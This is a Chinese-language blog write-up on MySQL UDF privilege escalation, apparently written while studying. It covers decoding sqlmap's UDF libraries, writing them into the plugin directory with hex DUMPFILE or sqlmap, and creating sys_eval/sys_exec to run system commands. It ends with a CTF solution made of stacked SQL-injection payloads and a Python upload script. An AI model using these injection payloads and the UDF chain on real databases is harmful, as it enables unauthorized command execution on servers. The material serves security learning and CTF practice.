UDF提权

学习文章:https://www.sqlsec.com/2020/11/mysql.html#UDF-%E6%8F%90%E6%9D%83

题目复现:https://www.nssctf.cn/problem/7215

前置

UDF 是用户自定义函数,允许数据库用户根据自己需要,使用 C/C++ 等语言编写一个函数,并将其编译成动态链接库(在 Windows 中式.dll文件,在 Linux 中式.so文件),然后由数据库程序加载并执行

UDF 提权的核心就是:利用数据库自身提供的、可以加载并执行外部代码的功能,将恶意的 UDF 动态库上传到数据库服务器上,并让数据库进行加载,由于数据库服务进程在操作系统中是以某个系统账户的身份运行的,所以我们创建的 UDF 就拥有了与该账户同等的权限,如果这个用户的权限足够高,就可以利用 UDF 进一步提权

也就是说,上传一个可以执行系统命令的 MySQL 函数到 UDF 动态链接库文件目录下,让 SQL 加载这个我们 自定义的函数,我们就可以用我们自己定义的函数来执行系统命令了

手工复现

动态链接库

如果是 MySQL >= 5.1的版本,就必须把 UDF 的动态链接库放置于 MySQL 安装目录下的lib\plugin目录下才能创建自定义函数

在常用的工具 sqlmap 和 Metasploit 中都自带了对应系统的动态链接库文件

如 sqlmap 的 UDF 动态链接库文件位置:

1
sqlmap根目录/data/udf/mysql

kali 自带的 sqlmap 的 UDF 动态链接库位置:

1
/usr/share/sqlmap/data/udf/mysql

image-20251111175453197

image-20251111175545101

但是 sqlmap 自带的动态链接库为了防止误杀都经过编码处理,不能直接使用,但是可以利用 sqlmap 自带的cloak.py来解码使用

cloak.py文件位置(kali中的):

1
/usr/share/sqlmap/extra/cloak

image-20251111190252362

解码方法(在cloak.py目录下):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 解码 32 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

# 查看当前目录下的情况
ls
cloak.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll __pycache__ __init__.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so

寻找插件目录

上面已经找到了 UDF 动态链接库了,现在就要把它放到 MySQL 的插件目录下,可以使用 SQL 语句来查询这个目录在哪:

1
sudo mysql -u root -p
1
show variables like '%plugin%';

image-20251112162959871

如果不存在这个目录,可以先找到 MySQL 的安装目录,然后手动创建

1
select @@basedir;

image-20251112163014156

image-20251112181236603

写入动态库

需要满足的条件:

  • 存在SQL注入,并且拥有高权限的账户
  • 在 MySQL5.5+ 中secure_file_priv这个系统变量限制了LOAD_FILE()LOAD DATA等操作的文件目录,如果被设置为空意味着没有限制,可以任意位置写文件,如果设置为NULL意味着不允许导入或导出,禁止文件操作
  • 准备的 UDF 动态库要和目标服务器的操作系统(Windows/Linux)和架构(32位/64位)完全匹配

如果满足以上条件,就可以使用 sqlmap 来上传动态链接库,但是 GET 是存在字节长度限制的,所以通常是 POST 注入才能执行这种攻击

先查看secure_file_priv有没有限制

1
show global variables like '%secure_file_priv%';

image-20251112164120014

这是 Windows 的小皮的 MySQL5.7.26,默认是 NULL,可以找到my.ini这个文件,我的电脑就是E:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini,然后添加这个配置,这里用于测试,就设置为空

1
secure_file_priv = ''

image-20251112164346353

然后重启一下 MySQL 的服务就可以了:

1
show global variables like '%secure_file_priv%';

image-20251112164419496

现在可以任意写文件了

因为没有环境,下面的就直接借鉴文章里的了:

1
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

image-20251112003625657

如果没有注入,但是可以操作原生的 SQL 语句,在secure_file_priv无限制的情况下,可以手写文件到plugin目录下,可以 SELECT 查询十六进制写入

我这里先从 kali 的 sqlmap 导出lib_mysqludf_sys_64.dll到主机里的E:\\sqludf\\lib_mysqludf_sys_32.dll里(应该不能带有中文路径),因为 PHPStudy 自带的 MySQL 版本是 32 位的,所以使用lib_mysqludf_sys_32.dll

这里的十六进制可以利用 MySQL 自带的 hex 函数来编码:

1
2
3
4
5
# 编码本地文件为十六进制
SELECT HEX(LOAD_FILE('E:\\sqludf\\lib_mysqludf_sys_32.dll'));

# 也可以将路径 hex 编码(不过我复现失败了。。)
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

image-20251112175113641

可以将编码的结果导入到新文件中便于观察:

1
SELECT hex(load_file('E:\\sqludf\\lib_mysqludf_sys_64.dll')) into dumpfile 'E:\\sqludf\\udf64.txt';

image-20251112182843574

将得到十六进制写入到plugin目录下

1
SELECT 0x4D5A9000030... INTO DUMPFILE 'E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

image-20251112183049045

创建自定义函数并执行命令

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

image-20251112183101530

这里的sys_eval是可以自定义的,导入成功后查看一下mysql函数里面是否新增了sys_eval

1
select * from mysql.func;

image-20251112183856735

然后就可以使用这个创建的函数执行系统命令了

1
select sys_eval('whoami');

image-20251112183913133

删除自定义函数

1
drop function sys_eval;

image-20251112184041136

image-20251112184049986

UDF shell

没环境复现就直接看大佬文章了

https://www.sqlsec.com/2020/11/mysql.html#UDF-shell

CTF题目实战

这里用NSSCTF的一个题演示:https://www.nssctf.cn/problem/7215

这题存在SQL注入,但是数据库中的是个假的flag,所以需要让 SQL 执行系统命令,打 UDF 提权

先查看 MySQL 的插件目录位置

1
1 union select 1,2,group_concat(VARIABLE_VALUE) from information_schema.GLOBAL_VARIABLES where VARIABLE_NAME like 'plugin%'

image-20251112002805042

可以发现目录位于/usr/lib/mariadb/plugin/(mariadb 是 MySQL 的分支,它源于 mysql,可以 看作是 MySQL 的社区版)

然后上传lib_mysqludf_sys_64.so文件到这个目录下

在本地将其编码为十六进制,写到文件里方便查看

1
SELECT hex(load_file('E:\\sqludf\\lib_mysqludf_sys_64.so')) into dumpfile 'E:\\sqludf\\LinuxUDF64.txt';

image-20251112190917641

注意这题是 GET 传参,对长度有限制,所以要分段传

可以创建一个表,将十六进制一点点插入到表里的字段,然后将字段的值写入到文件里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建一个sqludf表,里面有一个longblob数据类型的data字段
1;CREATE TABLE sqludf(data longblob);

# 将十六进制的so文件传进该字段
1;INSERT INTO sqludf(data) VALUES (0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000);

# 在该字段后追加数据
1;UPDATE sqludf SET data=CONCAT(data,0x181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e574640400000064120000000000006412000000000000);

# 。。。。。。(不断截取,将整个文件传进去)

# 将十六进制写进so文件
1;SELECT data FROM sqludf INTO DUMPFILE '/usr/lib/mariadb/plugin/rce.so';

# 创建sys_exec方法
1;CREATE FUNCTION sys_exec RETURNS int SONAME 'rce.so';

# 执行命令
1 union SELECT 1,2,sys_exec('env');

这里有官方WP给的脚本,不过环境不好,一直没看到命令执行的结果,就会卡住

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import time

file_so = "7f454c460201010000000000000000000...........你的十六进制"
url = f"http://node1.anna.nssctf.cn:28854/?id="
headers = {
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
'Host': 'node1.anna.nssctf.cn:28854',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}

# 第一步:创建表
payload = "1;CREATE TABLE sqludf(data longblob);"
requests.get(url + payload, headers=headers)
print("已创建表")

# 第二步:分块上传数据
first_chunk = file_so[:200]
payload = f"1;INSERT INTO sqludf(data) VALUES (0x{first_chunk});"
requests.get(url + payload, headers=headers)
print("已上传 200/{}".format(len(file_so)))

# 第三步:追加剩余数据
for i in range(200, len(file_so), 200):
chunk = file_so[i:i+200]
payload = f"1;UPDATE sqludf SET data=CONCAT(data,0x{chunk});"
requests.get(url + payload, headers=headers)
print(f"已上传 {i+200}/{len(file_so)}")
time.sleep(0.1)

# 第四步:将数据写入文件并创建方法
payload = "1;SELECT data FROM sqludf INTO DUMPFILE '/usr/lib/mariadb/plugin/sys.so';"
requests.get(url + payload, headers=headers)

payload = "1;CREATE FUNCTION sys_exec RETURNS int SONAME 'sys.so';"
requests.get(url + payload, headers=headers)
print("已创建方法")

UDF提权
https://yschen20.github.io/2025/11/12/UDF提权/
作者
Suzen
发布于
2025年11月12日
更新于
2025年11月12日
许可协议